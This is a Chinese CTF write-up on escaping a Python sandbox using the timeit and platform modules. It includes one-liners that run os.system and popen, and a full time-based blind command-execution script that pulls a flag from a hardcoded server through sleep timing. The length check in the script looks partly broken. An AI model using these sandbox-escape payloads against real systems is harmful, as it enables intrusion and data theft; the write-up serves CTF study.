前幾天參加了第八屆swpu,題目質量很高,學到了很多東西。這里我就一道Python沙箱逃逸題目做一些總結。
題目過濾的很嚴格,文件讀寫,網絡請求和一些危險模塊都被ban掉了。甚至是下划線也會被檢測到,這也使得__builtin__,[].__class__.__base__.__subclasses__()魔術方法無法利用。
最后得知利用的是一個內置模塊:timeit.我相信很多初學python的人都會用到timeit模塊來獲取代碼的執行時間,參看其文檔可以看到這樣的用法可以導致任意代碼執行。
#coding:utf-8 import timeit timeit.timeit("__import__('os').system('')",number=1)
還有一個模塊platform同樣也行的通。
import platform platform.popen('id',mode='r',bufsize=-1).read()
在timeit模塊里利用__import__內置函數加載os模塊,然后就可以任意命令執行了,但是cat flag是沒有回顯的,因為返回的是代碼的執行時間.再加上這里我把發起網絡請求也給ban了,所以並不能通過cloudeye等外帶通道獲取命令執行的結果。
於是這里就有了一種特殊情況:一個沒有回顯不能訪問外網的命令執行,怎么獲取返回的結果呢?答案是:time based rce.
具體可以查看出題人博客http://icematcha.win/?p=532
最后類似盲注腳本如下:
#coding:utf-8 #author:icematcha import requests import sys import base64 payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890=" def request(url, data, timeout): try: res = requests.post(url, data = data, timeout = timeout) return res.content except: return True def get_length(url, cmd, timeout): length = '' for i in xrange(1,10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1) ''' % (cmd, i) data = {'process': value} res = request(url, data, timeout) if res: llength = i break for i in xrange(1, llength): for _ in xrange(1, 10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, _) data = {'process': value} if request(url, data, timeout): length += str(_) print length break return length def get_content(url, cmd, timeout, length): content = '' for i in xrange(1, int(length)+1): for payload in payloads: value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, payload) data = {'process': value} if request(url, data, timeout): content += payload print content break return content if __name__ == '__main__': length = get_length('http://47.95.252.234/runcode','cat flag', 2.0) print "## The base32 of content's length is:%s" % length content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length) print "## The base32 of content is:%s" % content print "## The commend result content is:%s" % base64.b32decode(content).strip()
